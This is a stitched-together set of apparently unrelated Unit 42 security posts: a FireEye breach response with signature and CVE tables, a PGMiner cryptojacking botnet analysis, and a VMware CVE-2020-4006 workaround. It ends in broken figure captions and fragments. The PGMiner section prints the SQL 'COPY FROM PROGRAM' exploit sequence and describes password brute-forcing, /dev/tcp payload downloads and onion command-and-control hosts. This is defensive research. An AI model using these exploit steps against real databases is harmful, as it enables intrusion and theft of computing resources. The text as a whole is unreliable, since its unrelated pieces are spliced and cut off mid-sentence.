The Github repository that provided the protections also contains rules for direct product implementation as well as hunting. Palo Alto Networks is analyzing the efficacy of and applying all stable rules to our respective products. Gap analysis and threat hunting leveraging the FireEye-provided Yara and Snort signatures have enabled Palo Alto Networks researchers to identify potential malware samples that we are now tagging, analyzing, tracking and building protections around within WildFire. Continual verdict efficacy checks of identified malware samples is ongoing within Palo Alto Networks products. Customers leveraging the Palo Alto Networks AutoFocus tool can track initially identified samples and tools under the Fireye_RedTeam_Tools, Rubeus, AndrewSpecial, KeeFarce, SafetyKatz, InveighZero, GadgetToJScript, SeatBelt, RuralBishop, SharpView, and SharpZeroLogon tags. Our Cortex XDR Managed Threat Hunting Team (MTH) has proactively searched all Cortex XDR Pro customer logs to identify potentially impacted organizations and provide them an assessment of their risk.
Cortex XDR customers are protected using the product’s WildFire integration as well as through Local Analysis, the Password theft prevention module, and the behavioral threat protection (BTP) engine. In addition, multiple Behavioural Indicators of Compromise (BIOCs) are available in XDR Server to detect malicious techniques exhibited by the stolen tools.
Threat Prevention provides protection against command and control beacons and exploitation of network vulnerabilities used by the stolen tools. The following table provides an overview of the mapping between Palo Alto Networks Universal Threat IDs (UTIDs) and the provided FireEye SIDs.
Snort Rule
PANW UTID
FireEye SID
Backdoor.HTTP.BEACON.[CSBundle Original Stager]
86215
25879
Backdoor.HTTP.BEACON.[CSBundle MSOffice POST]
86216
25889
Backdoor.HTTP.BEACON.[CSBundle USAToday GET]
86217
25892
Backdoor.HTTP.BEACON.[CSBundle MSOffice Server]
86219
25888
Backdoor.HTTP.BEACON.[CSBundle Original GET]
86220
25877
Backdoor.HTTP.GORAT.[Build ID]
86221
25850
Backdoor.HTTP.BEACON.[CSBundle Original POST]
86222
25878
Backdoor.HTTP.GORAT.[SID1]
86223
25848
Backdoor.HTTP.BEACON.[CSBundle Original Server]
86225
25874
Backdoor.HTTP.BEACON.[CSBundle Original Server 3]
86227
25876
Table 1. PANW UTIDs to FYE Signature Mapping
CVE
PANW UTID
CVE-2019-0708
55815
CVE-2017-11774
56002
CVE-2018-15961
38319
CVE-2019-19781
57570, 57497 and 57625
CVE-2019-3398
55567
CVE-2019-11580
56036
CVE-2018-13379
56365
CVE-2020-0688
57947 and 57766
CVE-2019-11510
56280
CVE-2019-0604
55411, 57462 and 56363
CVE-2020-10189
57801
CVE-2019-8394
59061
CVE-2020-1472
59336
CVE-2018-8581
55152
CVE-2016-0167
392102205
CVE-2014-1812
90128
Table 2: CVE to UTID Mapping
Conclusion
The protections in place for our customers are continually being updated for this breach and for all threats that are identified in the wild. Palo Alto Networks appreciates the information disclosure from FireEye, but we also want to emphasize that at the time this report is published, the tools, hashes of the tools and associated samples have not been disclosed to the public. From the perspective of Palo Alto Networks security researchers, the biggest threat from this breach is the actor and the techniques they were able to utilize in order to infiltrate the FireEye infrastructure. Currently, there has not been any information released on the breach or the threat actor’s tactics, techniques, and procedures (TTPs). Customers should know that Palo Alto Networks researchers are working diligently to ensure protections are in place for our entire product ecosystem.
Cryptojacking (or simply malicious coin mining) is a common way for malware authors to monetize their operations. While the underlying mining protocols and techniques remain fairly standard, malware actors tend to seek out and find smarter ways to hack into a victim's machines. Recently, Unit 42 researchers uncovered a novel Linux-based cryptocurrency mining botnet that exploits a disputed PostgreSQL remote code execution (RCE) vulnerability that compromises database servers for cryptojacking. We named the cryptocurrency mining botnet "PGMiner" after its delivery channel and mining behavior. At its core, PGMiner attempts to connect to the mining pool for Monero mining. Because the mining pool is not active anymore, we could not recover information about the actual profit of this malware family.
PostgreSQL, also known as Postgres, is among the most-used open source relational database management systems (RDBMS) for production environments. According to DB-Engines, PostgreSQL ranks fourth among all database management systems (DBMS) as of November 2020 and has seen a steady increase in popularity since 2013. In particular, PostgreSQL was named database of the year in 2017 and 2018 by DB-Engines.
The feature in PostgreSQL under exploitation is "copy from program," which was introduced in version 9.3 on Sept. 9, 2013. In 2018, CVE-2019-9193 was linked to this feature, naming it as a "vulnerability." However, the PostgreSQL community challenged this assignment, and the CVE has been labeled as "disputed."
We believe PGMiner is the first cryptocurrency mining botnet that is delivered via PostgreSQL. It is notable that malware actors have started to weaponize not only confirmed CVEs, but also disputed ones.
At the time of this writing, none of the vendors on VirusTotal detect PGMiner. WildFire, a cloud-based malware analysis platform, detects it by dynamic analysis with the observation of self-deletion and process impersonation. Besides the delivery channel, PGMiner’s coin mining codebase reassembles some of the characteristics from the the SystemdMiner family and its variants 1, 2 and 3, but with the following notable changes:
Delete the PostgreSQL table right after code launch to achieve fileless execution.
Collect system information and send it to the command and control (C2) server for victim identification.
Employ traditional and novel approaches to download curl binary in case the command is not available on the victim’s machine.
Impersonate the "tracepath" process to hide its presence.
Attempt to kill competitor programs for better monetization.
Attack Process Overview
A high-level overview of PGMiner’s execution flow is depicted in Figure 1. As explained before, the malicious payload is delivered via PostgreSQL, which communicates to the backend C2 servers through SOCKS5 proxies. After that, it downloads the coin mining payloads based on the system architecture.
Figure 1. Structure of PGMiner exploiting a disputed PostgreSQL RCE vulnerability.
During our analysis, we found that PGMiner constantly reproduces itself by recursively downloading certain modules. To better illustrate this process, we show the payload relationship in Figure 2. Each box links to a sample identified in the infection chain. The record contains filename, abbreviated SHA256 value and file type information. Note that whenever the architecture information is in the filename, we iterate through all other possible architectures and add the samples in the graph if successfully downloaded. The abbreviated C2 for each stage is marked with dark green. Also, the samples in light blue boxes have been extensively studied in previous research work (SystemdMiner and its variants 1, 2 and 3). Here, we’ll focus on the samples that appear in light red boxes and provide a summary of the rest.
Figure 2. PGMiner payload relationship.
Initial Compromise via PostgreSQL Exploit
The root sample that triggered our investigation is 55698654f0fbcf5a6d52f3f44bc0f2257e06835e76fb7142d449a2d1641d7e4b, which is an AARCH64 ELF file that is static linked and stripped. At the time of this writing, none of the vendors on VirusTotal is able to detect this malware, as shown in Figure 3.
Figure 3. None of the vendors on VirusTotal detect PGMiner.
The sample above works as an exploit tool that attempts to exploit a controversial feature in PostgreSQL that allows RCE on the server’s operating system (OS). By reverse engineering the binary as shown in Figure 4, we found the sample has the libpq postgresql client library statically linked. This is used for communicating with the target database servers. The attacker scans port 5432 (0x1538), used by PostgreSQLql of the hosts in the private/local network (i.e., 172.16.0.0, 192.168.0.0 and 10.0.0.0 subnets). The malware randomly picks a public network range (e.g., 190.0.0.0, 66.0.0.0) in an attempt to perform RCE on the PostgreSQL server. With the user "postgres", which is the default user of the database, the attacker performs a brute-force attack iterating over a built-in list of popular passwords such as "112233" and "1q2w3e4r" to crack the database authentication.
Figure 4. PostgreSQL exploit code flow in PGMiner.
Once the malware successfully breaks into the database, it uses the PostgreSQL "copy from program" feature to download and launch the coin mining scripts. The "copy from program" feature has been controversial since its debut in PostgreSQL 9.3. The feature allows the local or remote superuser to run shell script directly on the server, which has raised wide security concerns. In 2019, a CVE-2019-9193 was assigned to this feature, naming it as a "vulnerability." However, the PostgreSQL community challenged this assignment, and the CVE has been labeled as "disputed." The main argument against defining the feature as a vulnerability is that the feature itself does not impose a risk as long as the superuser privilege is not granted to remote or untrusted users and the access control and authentication system works well. On the other side, security researchers worry that this feature indeed makes PostgreSQL a stepping stone for remote exploit and code execution directly on the server’s OS beyond the PostgreSQL software, if the attacker manages to own the superuser privilege by brute-forcing password or SQL injection.
Figure 5. PGMiner’s exploit content to PostgreSQL.
While this CVE is still being disputed, malware authors apparently have started to use it to stay under the detection radar by making the attack payload fileless. The actual exploit content from PGMiner is shown in Figure 5, which can be broken down to the following steps:
Step
SQL command
Clear the “abroxu” table if it exists.
DROP TABLE IF EXISTS abroxu;
Create the table with a text column.
CREATE TABLE abroxu(cmd_output text);
Save the malicious payload to table "abroxu".
COPY abroxu FROM PROGRAM “shell command”;
Execute the payload on the PostgreSQL server.
SELECT * FROM cmd_exec;
Clear the created table.
DROP TABLE IF EXISTS abroxu;
The malicious script payload saved in the "abroxu" table reassembles some of the characteristics from the known SystemdMiner malware family and its variants. Here we only highlight the major ways that PGMiner evolves from SystemdMiner, as well as overlooked functionalities. We have also added annotation to the script shown in the figures below to make this clear.
Downloading Curl
In the case that the curl command is not available on the victim’s machine, the malicious script tries multiple approaches (see Figure 6) to download the curl binary and add it to the execution paths:
Direct installation from official package management utilities like apt-get and yum.
Download static curl binary from GitHub.
Download using /dev/tcp in case the normal ways don’t work.
Figure 6. PGMiner’s multiple attempts to download curl binaries.
While the first two approaches are well-known, the third one is quite unique. What’s more interesting is the target IP address: 94[.]237[.]85[.]89. It is connected to the domain newt[.]keetup[.]com. While its parent domain, keepup[.]com, seems like a legitimate business website, this particular subdomain is redirecting port 80 to 443, which is used to host a couchdb named newt. Although port 8080 is not open to the public, we believe it has been configured to allow Cross-Origin Resource Sharing (CORS), as shown in Figure 7.
Figure 7. newt[.]keetup[.]com is hosting a couchdb for curl binary downloading.
Resolving SOCKS5/TOR Relay Server Name
The C2 host name has been updated to nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd[.]onion. PGMiner also utilizes the SOCKS5 proxy technique to communicate with the C2, as described in this SystemdMiner variant. However, as shown in Figure 8, the DNS server list has been expanded.
Figure 8. Updated C2 and expanded DNS server list observed in PGMiner.
Fetch Payloads From C2 and Launch PGMiner
After resolving the SOCKS5 proxy server IP address, PGMiner rotates through a list of folders to find the first one that allows permission to create a new file and update its attributes. This ensures the downloaded malicious payload can successfully execute on the victim’s machine. This function has been observed in the previous research on the SystemdMiner variant, but the author of the research did not provide an explanation of its purpose.
The malware family also evolves with client tracking functionality. It concatenates the IP address, username, architecture, hostname and md5 of all inet IP ranges, as well as the base64 encoding of the crontab content, to formulate the client’s unique identifier, which it reports to the C2 server. The code snippet is highlighted in Figure 9.
Figure 9. PGMiner featches payloads from C2 and executes them.
Multi-Architecture Payloads
With different architectures supplied to the C2 server mentioned above, we were able to recover the following list of payloads. The downloads for other architectures failed.
6d296648fdbc693e604f6375eaf7e28b87a73b8405dc8cd3147663b5e8b96ff0 pg.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Interestingly, the payload for x86_64 is an ELF executable, while for aarch64 and armv7l, the payload is an identical shell script.
x86_64 ELF Payload
The x86_64 ELF payload shares the majority of behaviors seen in the previous SystemdMiner variant, yet evolves with additional capabilities:
Environment Preparation:
Download and install curl binary as explained above.
Install crontab.
Remove cloud security monitor tools such as Aegis, and Qcloud monitor utilities such as Yunjing.
Virtual Machine Checking: PGMiner checks the existence of VBoxGuestAdditions to infer whether it is being analyzed in a virtual environment.
Competitors Removal:
Remove other known miner scripts, processes and crontab records.
Kill miner cleanup processes.
Kill all other CPU intensive processes such as ddg, system updates and so on.
Kill processes connected to known mining IP addresses.
armv7l/aarch64 Shell Script Payload
From the x86_64 ELF payload, we were able to recover the CPU file from C2 jk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd[.]onion, which is the coin mining module for PGMiner. However, the other cmd and bot modules are unavailable from the C2. Here, the armv7l/aarch64 shell script connects to a different C2, reambusweduybcp[.]onion. It also attempts to download the cmd file. This time, it succeeds. This indicates that the C2 server for this malware family is constantly updating. Different modules are distributed across different C2s.
The cmd module first attempts to kill the tracepath process. Then, it downloads additional payload from the same C2 address. The downloaded malware impersonates the tracepath process to hide its presence. After analyzing the aarch64 payload, we recovered the same shell script initially used to run on PostgreSQL servers, which completes the analysis.
Mitigations and Recommendations
Palo Alto Networks Next-Generation Firewall customers are protected against PGMiner via the WildFire and Threat Prevention security subscriptions. At the same time, we urge PostgreSQL users to remove the “pg_execute_server_program” privilege from untrusted users, which makes the exploit impossible. Moreover, we continue to recommend that users download software from trusted sources, manage strong and secure passwords and apply patches in a timely manner.
To remove the impact of PGMiner on the PostgreSQL server, the user can search and kill the “tracepath” process, which this malware impersonates, and kill the processes whose process IDs (PIDs) have been tracked by the malware in “/tmp/.X11-unix/”.
Conclusion
In this research, we unveiled PGMiner, a new cryptocurrency mining botnet delivered via a disputed PostgreSQL RCE vulnerability. The fact that PGMiner is exploiting a disputed vulnerability helped it remain unnoticed until we recently uncovered it at Palo Alto Networks.
PGMiner can potentially be disruptive, as PostgreSQL is widely adopted in PDMS. With additional effort, the malware could target all major operating systems. For example, PostgreSQL is available for all major platforms, including macOS, Windows and Linux. Theoretically, the malware actors could implement another version of PGMiner by targeting a new platform, such as Windows, and deliver it using PostgreSQL.
During our analysis, we observed new techniques, such as embedding victim identification in the request, impersonating a trusted process name, downloading curl binary via multiple approaches and more and aggressively killing all competitor programs. We also analyzed how the malware seeks to better track victims, execute, hide itself and monetize. Other traits, such as the malware recursively downloading itself and frequently changing C2 addresses, also indicate PGMiner is still rapidly evolving.
The vulnerability requires network access to the administrative configurator on port 8443 (though this can be configured to be any port) and a valid password for the configurator admin account. If these conditions exist, a malicious actor could execute commands with unrestricted privileges on the underlying operating system.
Mitigation Actions
First and foremost, patch the vulnerable software if at all possible. If, for some reason, the vulnerable software cannot be patched, then refer to the following workarounds:
Warning:
This workaround is applicable ONLY to VMware Workspace ONE Access, VMware Identity Manager and VMware Identity Manager Connector. Do not apply this workaround to other VMware products.
To implement the workaround for CVE-2020-4006, perform the following steps below. Please note the operating system.
1. Implement workaround for Linux-based appliances:
Use SSH to connect to appliance using “sshuser” credentials configured during installation or updated later.
Switch to root by typing su and provide “root” credentials configured during installation or updated later.
Run the following commands:
cd /opt/vmware/horizon//workspace mkdir webapps.tmp mv webapps/cfg webapps.tmp mv conf/Catalina/localhost/cfg.xml webapps.tmp service horizon-workspace restart
Repeat steps for all Linux-based appliances affected by CVE-2020-4006.
2. Implement workaround for Windows-based servers:
Log in as Administrator.
Open a Command Prompt window and run the following commands:
Net stop “VMwareIDMConnector” cd \VMware\VMwareIdentityManager\Connector\opt\vmware\horizon\workspace mkdir webappstmp move webapps\cfg webappstmp move conf\Catalina\localhost\cfg.xml webappstmp net start “VMwareIDMConnector”
Repeat steps for all Windows-based servers affected by CVE-2020-4006.
To remove the workaround for CVE-2020-4006, perform the following steps:
1. Revert workaround for Linux-based appliances.
Use SSH to connect to appliance using “sshuser” credentials configured during installation or updated later.
Switch to root by typing su and provide “root” credentials configured during installation or updated later.
Run the following commands:
cd /opt/vmware/horizon/workspace mv webapps.tmp/cfg webapps mv webapps.tmp/cfg.xml conf/Catalina/localhost rmdir webapps.tmp service horizon-workspace restart
Repeat steps for all Linux-based appliances affected by CVE-2020-4006.
2. Revert workaround for Windows-based servers
Log in as Administrator.
Open a Command Prompt window and run the following commands:
net stop "VMwareIDMConnector" cd \VMware\VMwareIdentityManager\Connector\opt\vmware\horizon\workspace move webappstmp\cfg webapps move webappstmp\cfg.xml conf\Catalina\localhost rmdir webappstmp net start "VMwareIDMConnector"
Repeat steps for all Windows-based servers affected by CVE-2020-4006.
Conclusion
Palo Alto Networks is continuing efforts to identify a proof of concept (PoC) or other relevant information that would allow specific coverage for exploitation of this vulnerability. Due to the lack of specific attack details related to exploitation, Palo Alto Networks highly recommends patching your vulnerable software when possible and/or implementing the workaround provided by VMWare. This blog will be updated when more information becomes available.
Get updates from Unit 42
Peace of mind comes from staying ahead of threats. Subscribe today.
Get the latest news, invites to events, and threat alerts
![Figure 8. Following TCP stream for the HTTP request to seo.udaipurkart[.]com.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/01/word-image-37.jpeg)
![Figure 9. Indicators of a DLL file returned from seo.udaipurkart[.]com.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/01/word-image-38.jpeg)
![Figure 34. Filtering for traffic to cdn.speedof[.]me, which is not inherently malicious, but a connectivity check caused by Qakbot prior to late November 2020.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/01/word-image-63.jpeg)
![Figure 35. Filtering for traffic to a.stransglobal[.]com, typically generated by Qakbot prior to late November 2020.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/01/word-image-64.jpeg)
) or Chrome ( 
) on Windows 10 ( 
), Windows 8.1 ( 
) or Linux systems ( 
).
![We were able to extract known xHunt infrastructure used as the remote servers for the SSH tunnels that the actor created to access systems via RDP and internal web services. The three external servers used for the SSH tunnels were 192.119.110[.]194, 142.11.211[.]79 and 91.92.109[.]59, which provided overlaps with other infrastructure seen in this chart.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/12/word-image-49.png)
![The counts of requests for avsvmcloud[.]com observed in DNS Security logs each month. The count peaks in July.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/12/word-image-229.png)
Get updates from Unit 42 